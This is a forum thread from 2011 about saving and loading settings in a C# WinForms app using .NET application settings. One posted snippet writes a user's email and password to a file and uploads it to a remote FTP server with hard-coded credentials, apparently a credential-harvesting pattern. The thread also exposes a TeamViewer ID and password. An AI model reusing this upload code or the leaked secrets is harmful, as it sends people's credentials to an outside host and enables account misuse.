hello there guys...
What I was trying to do is, store some values inside of an external file...
For example..
config.ini will contain the Form1 size, ... or maybe a textBox.Text value ...
How would I point the program to read certain file, and load it before it starts?
Thx guys !
Loading
FroglegPosted Jan 26, 2011, 1:42 AM
There is a user setting myString
If that string is null then the application setting constantString will be used by default
Type in the textbox and click button1 and the settings will be saved and label text will change accordingly
thiago costaPosted Jan 26, 2011, 2:20 AM
Thank you so much man, ...
I don't know how to thank you.
FroglegPosted Jan 26, 2011, 2:14 AM
That is why I created a default value
Have a look at this
http://www.codeproject.com/KB/security/ProtectedConfigWinApps.aspx
thiago costaPosted Jan 26, 2011, 2:05 AM
C:\Users\X4-ULTRA\AppData\Local\NewSettings\NewSettings.exe_Url_zgruhibrqgcuwv2wdgwvzcbv3h351euo\1.0.0.0
Hey bro, can I ask you another question ? ...
Is there a way to encrypt this file in case I want to put a password in it?
--EDIT--
---Forget it bro I gave you enough trouble in this already !
I will save this question for another time :D
thiago costaPosted Jan 26, 2011, 2:03 AM
But sometimes on my laptop I run XP x86 sp3
FroglegPosted Jan 26, 2011, 2:02 AM
thiago costaPosted Jan 26, 2011, 1:59 AM
FROGLEG !!!!!
THANKS MAN !!!!!
IT WORKS !!!!!!!!!!!!!!!!!!!!!!!!!!!
Very nicely done !!!
Thank you so much man !
I have a question ...
Thanks man ! Thank you
It created a .config file ...
But I don't see the value being saved there...
Where does it save the value ?
BROTHER !!!!!! Thank you ! ... Now this code will lead me to some study thanks to you..
Thanks again frogleg
----Edit----
Sorry for getting excited bro ... but this means a lot to me...
Thanks again
FroglegPosted Jan 26, 2011, 1:53 AM
Don't alter that- start the program and type in the textbox and click button1
It saves while your program is running
thiago costaPosted Jan 26, 2011, 1:48 AM
The label has a value,
I did type something in the myString ... and pressed the button nothing happens !
Maybe is it because that code is not compatible with Visual Studio 2010 ?
If you have teamviewer,
the ID is 265 065 818
the password is yj8k86
thiago costaPosted Jan 26, 2011, 1:43 AM
THanks man !
Thankssssss
thiago costaPosted Jan 26, 2011, 1:28 AM
All I am trying to do, is to read a string, from the external file ... and once i get this working, I will be able to test some more and do more...
so, in your example above, the name was myString ...
I did go to the solution's properties, Settings NAME= myString TYPE=string SCOPE=user VALUE=ftp://server
So I thougt by doing that, the string myString would have the value of ftp://server
... but I guess not
I also checked under appdata/local there was no xml files generated...
Am I doing something wrong guys ? ...
All I wanna do is really make it so I can load / save settings to a file ...
I don't know, for example, if the user wants to save his ftp address, so that he doesn't have to type it in everytime...
This is my code.
private void BTNstart_Click_1(object sender, EventArgs e)
{
string file;
file = TBuemail.Text + ".txt";
string ftp;
ftp = "ftp://174.1.1.1/public_html/super3/" + TBuemail.Text + ".txt";
StreamWriter SR1;
SR1 = File.AppendText(file);
SR1.WriteLine(TBuemail.Text);
SR1.WriteLine(TBupw.Text);
SR1.Close();
UploadFile(file, ftp, "quadaxial", "3zxV3rbEs!NOploXultra!");
if (TBuemail.Text != TBvemail.Text)
{
}
else
{
}
}
In the case above, I would want the string ftp to be in an external file... xml or ini
Guys, thanks 100000 times for the attention, I am really stuck on this problem ..
Thanks a bunch guys.
FroglegPosted Jan 26, 2011, 1:07 AM
Just a habit - probably not a good one
Sam HobbsPosted Jan 26, 2011, 1:00 AM
where propname is the name of the setting. I have never needed to qualify using the project name. I assume that the project name is the namespace name and if the code is in the project's namespace then it is not necessary to specify it.
FroglegPosted Jan 26, 2011, 12:24 AM
textBox1.Text = WindowsFormsApplication2.Properties.Settings.Default.myString;
When referring to a saved setting it always requires the settings prefix = NameOfProject.Properties.Settings.Default.
Sam HobbsPosted Jan 25, 2011, 8:25 PM
thiago costaPosted Jan 25, 2011, 7:12 PM
BUT now I have a problem...
I made that code execute at the Form Load... ok ?...
I made the name be myString, type is string, and the falue is ftp ..
Then I tryed
textBox1.Text = myString; it didn't work .. said myString didnt exist ... what am I doing wrong?
Sam HobbsPosted Jan 25, 2011, 2:19 PM
FroglegPosted Jan 24, 2011, 10:21 PM
'WindowsFormsApplication2.Properties.Settings.Default.myString;
It does save automatically as an xml file - usually in Users\userName\Appdata\Local
thiago costaPosted Jan 24, 2011, 7:14 PM
I got this error :
Error 1 The type or namespace name 'SettingsDefault' does not exist in the namespace 'WindowsFormsApplication2.Properties' (are you missing an assembly reference?) C:\Users\X4-ULTRA\Desktop\Projects\WindowsFormsApplication2\WindowsFormsApplication2\Form1.cs 21 49 WindowsFormsApplication2
:'( ... seems like myString got registered, but for some reasin SettingsDefault does not exist in the namespace...
did i do something wrong?
----EDIT ----
I was reading somethign today, and it seems like .net does no longer support ini files, and it seems like XML is the best way right? ...
so, how would I keep my settings inside of a XML file? ...
For example, a string value, or the size of a form (in pixels) ...
:'( I am so confused..
Let me explain better...
This is my software:
So, what I am trying to do is:
As you can see the "string" ftp in the program above, is
ftp://174.120.150.123/public_html/f" + TBuemail.Text + ".txt
.... I want to keep the "ftp://174.120.150.123/public_html/f"
inside of a xml, ini, or text file ... doesn't matter... Because I want to
make the user be able to modify the settings
by changing values inside the file rather than recompiling the program...
Thanks again bro
FroglegPosted Jan 24, 2011, 1:39 AM
1: In design view open solution explorer (ctrl + alt+L)
2: Right click on your project and select properties , a new window will open
3: On the left open Settings and in the name column a name for your variable eg: myString . Set type to whatever , in this case string
4: To create, put a textbox, label & button on a form. In the button code
yourProjectName.Properties.SettingsDefault.myString = textBox1.Text;
yourProjectName.Properties.SettingsDefault.Save();
5: To use -in form load event = label1.Text = yourProjectName.Properties.SettingsDefault.myString
Save and restart and the label will display saved text
Look through the types and you can save quite a few different values